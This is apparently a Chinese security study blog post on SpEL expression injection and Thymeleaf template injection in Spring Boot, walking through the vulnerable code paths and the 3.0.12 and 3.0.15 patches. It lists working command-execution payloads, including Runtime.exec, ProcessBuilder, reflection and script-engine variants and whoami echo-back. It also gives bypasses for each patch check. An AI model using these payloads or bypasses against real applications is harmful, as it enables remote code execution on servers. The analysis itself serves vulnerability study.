前言

表达式我认为和jdbc,jndi一样,是由于java web设计模式导致的产物,一些中间件需要模板动态渲染,动态配置等功能就使用了表达式这个功能,但是对表达式的功能权限缺乏限制,就导致了表达式注入

好像java的生态就是容易出现这种漏洞,一个著名的开源组件用了另外一个更加底层的开源组件来实现一些功能,但是对这个底层组件的功能了解不全,错误的使用导致rce,爆出漏洞也只会写写黑名单,毕竟重新写一个底层组件太麻烦了又不是不能用

这里借着研究Thymeleaf漏洞学习一下 SPEL表达式注入漏洞,希望可以学习一下表达式注入这类漏洞的产生的背景,成因,和危害,而不是仅仅简单了解漏洞

SpEL表达式

SPEL语法提供了丰富的功能,如方法调用与字符串模板功能。这使得SPEL在构建复杂表达式、存取对象图属性、对象方法调用等方面具有强大的能力,极大地提高了开发的灵活性和效率
与EL 表达式简化 JSP 页面内的 Java 代码不同的是,SpEL表达式在spring中主要用于Bean 配置、注解参数设置、AOP 切面表达式等。

用法

定界符

SpEL使用#{}作为定界符,即将#{}的内容当作spel表达式使用
<property name="message" value="Hello #{T(java.time.LocalDateTime).now() }}"/>
当然spel表达式也支持字符拼接
<property name="message" value="#{ 'Hello ' + T(java.time.LocalDateTime).now() }"/>
${}主要用于加载外部属性文件中的值
两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'}

1
2
@Value("${app.name}")
private String appName; // 从配置文件读取值

基本语法

调用静态方法和属性

使用T(全限定类名)的形式调用静态方法和访问静态属性。
<property name="random" value="#{T(java.lang.Math).random()}"/>
唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名

创建实例

使用new可以直接在SpEL中创建实例

1
Expression exp = parser.parseExpression("new java.lang.ProcessBuilder('cmd','/c','calc').start()");
Bean引用

在 SpEL 表达式中,可以通过@符号引用 Spring 容器中的 Bean。

1
2
@Value("#{@myService.doSomething()}")
private String result;

这里@myService引用了 Spring 容器中名为myService的 Bean,并调用其doSomething方法。

在spring开发中的应用

在 @Value 注解中使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class user {
@Value("${spring.user.username}")// 从配置文件读取值
private String name;

@Value("#{systemProperties['os.name']}")
private String osName; // 获取系统属性

}

public String getindex(Model model)
{
user user1=new user("bigsai",22);
model.addAttribute("user",user1);//储存javabean
return "index";//与templates中index.html对应
}

在模板中嵌入逻辑

1
2
3
<td th:text="${user.name}"></td>
<td th:text="${user['name']}"></td>
<td th:text="${user.getname()}"></td>

在 XML 配置文件中使用

1
2
3
<bean id="userService" class="com.example.UserService">
<property name="defaultPageSize" value="#{T(java.lang.Math).max(5, 10)}"/>
</bean>

在代码块中直接使用表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class SpelDemo {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext();

// 解析并执行表达式
String expression = "'Hello ' + 'World!'";
String result = parser.parseExpression(expression).getValue(context, String.class);//在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
System.out.println(result); // 输出: Hello World!
}
}

常用payload与回显

其实可以看成java命令执行总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
T(java.lang.Runtime).getRuntime().exec('calc')
new java.lang.ProcessBuilder(new String[]{'calc'}).start()
//反射调用
T(String).getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
//类加载
T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')
//JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
//回显构造
#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK")).readLine()}
#{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK").useDelimiter("\\A").next()}

Thymeleaf基础

Spring Boot默认是不支持JSP的,而是推荐使用Thymeleaf、Freemarker等模板引擎,默认情况下,如果你添加了 Thymeleaf 或 FreeMarker 的依赖,Spring Boot 将自动配置对应的模板引擎。
SpringBoot默认在static 目录中存放静态资源,而 templates 中放动态页面。
我们只需要把我们的html页面放在类路径下的templates下,thymeleaf就可以帮我们自动渲染了。

如果页面是Thymeleaf生成的就会在html上加上这样的标识<html xmlns:th="http://www.thymeleaf.org">

thymeleaf 表达式的简单使用

参考官方文档:https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#variables

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    //变量表达式: 
<span th:text="${user.name}"></span>
//选择变量表达式:
<div th:object="${user}">
<span th:text="*{name}"></span>
</div>
//消息表达式:
<span th:text="#{user.name}"></span>
//链接 URL 表达式:
<a th:href="@{/user/{id}(id=${user.id})}">详情</a>
//片段表达式:
//layout.html
<div th:fragment="header">Header内容</div>
//页面
<div th:replace="~{layout :: header}"></div>
  1. 其中只有变量表达式${}和选择变量表达式*{}会将花括号里的内容当成spel表达式执行
  1. 表达式内部可以嵌套变量表达式
    但是只能当成参数,如
    @{/user/{id}(id=${user.id})}或者~{${fragment}}
    如果想要自由拼接就需要使用预处理表达式__ __
    ~{layout :: div.__${className}__}
    预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

  2. 表达式可以和字符串拼接

    1
    2
    <span th:text="'The name of the user is ' + ${user.name}">
    <span th:text="|The name of the user is ${user.name}|">

    可以通过'' +的方式拼接,也可以使用||来格式化输出

thymeleaf SPEL注入

注入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//URL路径可控

@Controller
public class ThymeleafDemoController {
@RequestMapping("/ThymeleafUri/{path}")
public void ThymeleafUri(@PathVariable String path) {
}
}

//return内容可控
@Controller
publicclassThymeleafDemoController{
@GetMapping("/path")
publicString path(String path){
return"user/"+ path +"/welcome";
}
}

漏洞分析

payload:
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::
关于thymeleaf视图解析流程太复杂了,我这里直接展示最后解析表达式的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//org.thymeleaf.spring5.view.ThymeleafView
protected void renderFragment
if (!viewTemplateName.contains("::")) { //检测模板名中是否有::
templateName = viewTemplateName;
markupSelectors = null;
} else {
final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

final FragmentExpression fragmentExpression;
try {
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");//如有添加~{}并传入下一步
}
......
//org.thymeleaf.standard.expression.StandardExpressionPreprocessor
final class StandardExpressionPreprocessor {
private static final char PREPROCESS_DELIMITER = '_';
private static final String PREPROCESS_EVAL = "\\_\\_(.*?)\\_\\_";
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile(PREPROCESS_EVAL, Pattern.DOTALL);

static String preprocess(
final IExpressionContext context,
final String input) {

if (input.indexOf(PREPROCESS_DELIMITER) == -1) {//如果模板名不存在_直接返回
// Fail quick
return input;
}

final IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
}

final Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);//进行正则匹配,匹配__和__之间的内容

if (matcher.find()) {
final StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
do {
final String previousText =
checkPreprocessingMarkUnescaping(input.substring(curr,matcher.start(0)));
final String expressionText =
checkPreprocessingMarkUnescaping(matcher.group(1));//提取__和__之间的内容

strBuilder.append(previousText);

final IStandardExpression expression =
StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
final Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);//执行spel运算

虽然有很多代码没看太明白,但是简单来说就是当传入的模板名中包含::.就会将__包裹的部分当作spel表达式执行

鸡肋的回显

将 :: 左右分隔成两部分, 即 templateNameStr 和 fragmentSpecStr, 如果 fragmentSpecStr 为空则返回 null,不为空就会根据模板名去寻找片段,如果模板名不存在就会报错出来,所以一些payload会在::后加一些内容使片段名不为空,从而可以回显
报错位置在org/thymeleaf/engine/TemplateManager#resolveTemplate

在低版本的 springboot (<= 2.2) 中, server.error.include-message 的默认值为 always, 这使得默认的 500 页面会显示异常信息
但是在高版本的 springboot (>= 2.3) 中, 上述选项的默认值变成了 never, 那么 500 页面就不会显示任何异常信息

不同版本的SpringBoot所自带的Thymeleaf的版本
SpringBoot Thymeleaf
2.2.0.RELEASE 3.0.11
2.4.10 3.0.12
2.7.18 3.0.15
3.0.8 3.1.1
3.2.2 3.1.2

补丁绕过

3.0.12

在 3.0.12 版本中, Thymeleaf 在 util 目录下增加了 SpringRequestUtils 和 SpringStandardExpressionUtils 两个类。
其实就是写了两个补丁,封装成两个类,每个类都有一个方法,把这俩个方法加到代码流程中

SpringRequestUtils#checkViewNameNotInRequest

该方法放到最前面,当检测到::时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void checkViewNameNotInRequest(final String viewName, final HttpServletRequest request) {
final String vn = StringUtils.pack(viewName);//StringUtils.pack() 的作用是去掉字符串的空格和 ASCII 码在空格之前的特殊字符,并最后转为小写
final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));

boolean found = (requestURI != null && requestURI.contains(vn));//如果路径里包含模板则报错
if (!found) {
final Enumeration<String> paramNames = request.getParameterNames();
String[] paramValues;
String paramValue;
while (!found && paramNames.hasMoreElements()) {
paramValues = request.getParameterValues(paramNames.nextElement());
for (int i = 0; !found && i < paramValues.length; i++) {
paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {//如果传参包含模板名就会报错
found = true;
}
}
}
}
if (found) {
throw new TemplateProcessingException(
"View name is an executable expression, and it is present in a literal manner in " +
"request path or parameters, which is forbidden for security reasons.");
}

关于该方法的绕过也分为两种
第一种是return内容可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Controller
publicclassThymeleafDemoController{
@GetMapping("/path")
publicString path(String path){
return "user/"+ path +"/welcome";
}
}
//直接return参数
@Controller
publicclassThymeleafDemoController{
@GetMapping("/path")
publicString path(String path){
return path;
}
}

关于上述两段代码
第一段代码,传入的模板名为user/传入参数/welcome,传入参数不包含模板名(其实包含关系应该反过来就好了,也有可能是为了不影响正常功能),直接通过
第二段代码,直接return参数时,参数和模板名完全相等,直接报错
也就是说该补丁会导致直接return参数的情况下代码报错

第二种URL路径可控
上述代码的request.getRequestURI()获取到的路由是原生没有进行规范的路由
而传入的模板名是经过tomcat路由规范后的结果,利用这个差异我们就可以进行绕过
传入

1
2
3
/ThymeleafUri;/__$
/ThymeleafUri//__$
/ThymeleafUri/;/__$

获取到的模板名为ThymeleafUri/__$

SpringStandardExpressionUtils#containsSpELInstantiationOrStatic

该方法放到最后,解析spel表达式时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 private static final char[] NEW_ARRAY = "wen".toCharArray(); // Inverted "new"
private static final int NEW_LEN = NEW_ARRAY.length;
public static boolean containsSpELInstantiationOrStatic(final String expression) {
final int explen = expression.length(); // 表达式总长度
int n = explen; // 从字符串末尾开始扫描(倒序扫描)
int ni = 0; // 用于匹配 "new" 关键字的索引(状态机计数器)
int si = -1; // 用于记录 ')' 的位置,用于匹配 T(...) 结构
char c; // 当前扫描字符
while (n-- != 0) { // 从后往前遍历字符串
c = expression.charAt(n); // 当前字符
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {//判断一个字符是否属于“空白字符
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {//判断一个字符是否可以作为 Java 变量名的一部分
return true; // 即判断表达式开头是否为new
}
continue; // 继续匹配下一个字符
}
// 重置匹配状态
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
si = -1;
}

continue;
}
ni = 0;

if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {

return true; // 发现存在T(...) 这样的格式开头

} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}
}
return false; // 没检测到危险模式
}

上述代码即检测spel表达式是否存在new加空格或者T(...) 这样的格式

绕过new限制
使用
${New java.lang.ProcessBuilder('bash','-c','open -a Calculator').start()}
${new.java.lang.ProcessBuilder('bash','-c','open -a Calculator').start()}

绕过T限制
T(中间添加%20(空格)、%0a(换行)、%09(制表符)等等进行绕过

或者使用反射调用
path=__${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::

3.0.15

Thymeleaf 3.0.14 没有对应的 Spring Boot 官方版本,只能手动引入使用,并且14和15版本补丁相差不大,这里就不再单独分析3.0.14版本的补丁,直接对3.0.15版本补丁进行分析

SpringRequestUtils#containsExpression

Thymeleaf3.0.15版本对checkViewNameNotInRequest()函数也进行了完善
在当前类中添加了一个检测函数containsExpression对传入的模板名,路径,参数值进行检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static boolean containsExpression(String text) {
int textLen = text.length();// 获取字符串长度
boolean expInit = false;
for(int i = 0; i < textLen; ++i) {
char c = text.charAt(i);// 取当前字符
if (!expInit) {
if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') { // 如果遇到表达式起始符(五种之一)
expInit = true;
}
} else {
if (c == '{') {// 如果紧接着遇到 '{'
return true; // 说明命中表达式模式:${ *{ #{ @{ ~{
}
if (!Character.isWhitespace(c)) {// 如果不是空白字符(空格、换行、tab等)
expInit = false;
}
}
}
return false;
}

就是检测thymeleaf 表达式,当检测到$后,查看后面紧跟的是不是{,或者空白字符{。好像thymeleaf的作者不太喜欢写正则呀,写的补丁都是状态机

绕过方法也是很巧妙的
__|$${#response.addHeader("x-cmd","n4c1")}|__
使用格式化字符拼接,构造出$${}
而该FSM(有限状态机)不同于正则是”滑动窗口匹配”而是”单路径匹配”,无回溯功能,导致第二个$被当成普通字符处理掉了

SpringStandardExpressionUtils#isPreviousStaticMarker

对containsSpELInstantiationOrStatic()函数检测进行了完善
对T和()中间空字符进行绕过修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static boolean isPreviousStaticMarker(final String expression, final int idx) {
char c,c1;
int n = idx;
while (n-- != 0) {
c = expression.charAt(n);
if (c == 'T') {
if (n == 0) {
return true;
}
c1 = expression.charAt(n - 1);
return !isSafeIdentifierChar(c1);
} else if (!Character.isWhitespace(c)) {
return false;
}
}
return false;
}

所以使用T%20()的方式调用类绕不过去了